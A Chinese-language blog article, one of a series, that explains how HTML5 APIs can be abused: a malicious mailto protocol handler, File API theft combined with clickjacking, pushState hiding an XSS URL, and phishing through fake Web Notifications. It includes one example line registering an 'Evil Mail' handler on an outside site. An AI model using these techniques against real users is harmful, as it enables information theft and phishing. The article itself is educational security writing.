HTML5安全风险详析之六:API攻击
最后更新于:2022-04-01 19:44:37
HTML5里有许多协议、模式和API,可能成为攻击者的攻击途径。
**一、registerProtocolHandler:信息泄漏**
HTML5允许某些协议和schema注册为新的特性。例如下面的语句可以注册一个email handler。
~~~
navigator.registerProtocolHandler(“mailto”,“http://www.f.com/?uri=%s", “Evil Mail");
~~~
它会将一个恶意网站处理器关联到mailto这个协议上,所以它在某些情况下的滥用会导致用户信息泄漏。
**二、文件API:窃取文件**
HTML5另外一些API从安全角度来看很有意思,它们还能混合起来使用。
例如文件API允许浏览器访问本地文件,攻击者可以将它与[点击劫持](http://blog.csdn.net/hfahe/article/details/8138728)和其他攻击混合起来获得用户本地的文件。比如骗取你从本地拖放文件到页面里,这种方法在[劫持攻击](http://blog.csdn.net/hfahe/article/details/8138728)一文中有较详细的阐述。
**三、历史API:隐藏XSS URL**
利用HTML5历史API的pushState,可以隐藏浏览器地址栏的攻击URL。例如我在浏览器地址栏输入
~~~
http://test.baidu.com/?text=
~~~
这个地址,用户将会仅仅只看到[http://test.baidu.com/](http://test.baidu.com/)。
这个问题和现在流行的短网址技术结合起来,具有更大的隐蔽性。想象一下我们在微博上看到一个短网址,不会有任何怀疑就会点击这个地址查看内容,而最后看到的地址也是相当正常的,但是在这个过程中用户的信息和资料就不知不觉被盗取了。
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5665ef7.jpg)
短URL结合历史API的攻击
**四、Web Notifications:盗取数据**
[Web Notifications](http://dvcs.w3.org/hg/notifications/raw-file/tip/Overview.html)让我们在浏览器中能够接收推送的消息通知,但是它有可能会被攻击者利用来构造虚假信息,骗取用户数据。
例如下图里右下角的弹窗通知看起来非常正常,需要我们输入Gmail密码来登录查看新邮件。但是一旦输入密码,Gmail邮箱就被盗取了。我们可以仔细看看,弹窗左上角显示的域名是gmai1.com!这正是一个钓鱼网站的欺诈手段。
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa56792d9.jpg)
桌面通知攻击
最后,随着HTML5的发展,未来还可能出现新的HTML5安全问题,还可能还会向着复杂化和智能化去发展。
相关文章:
《[关注HTML5安全风险](http://blog.csdn.net/hfahe/article/details/7960705)》
《[HTML5安全风险详析之一:CORS攻击](http://blog.csdn.net/hfahe/article/details/7961566)》
《[HTML5安全风险详析之二:WebStorage攻击](http://blog.csdn.net/hfahe/article/details/7961618)》
《[HTML5安全风险详析之三:WebSQL攻击](http://blog.csdn.net/hfahe/article/details/8049414)》
《[HTML5安全风险详析之四:Web Worker攻击](http://blog.csdn.net/hfahe/article/details/8104263)》
《[HTML5安全风险详析之五:劫持攻击](http://blog.csdn.net/hfahe/article/details/8138728)》
本文为原创文章,转载请注明:来自[蒋宇捷的博客](http://blog.csdn.net/hfahe):[http://blog.csdn.net/hfahe](http://blog.csdn.net/hfahe)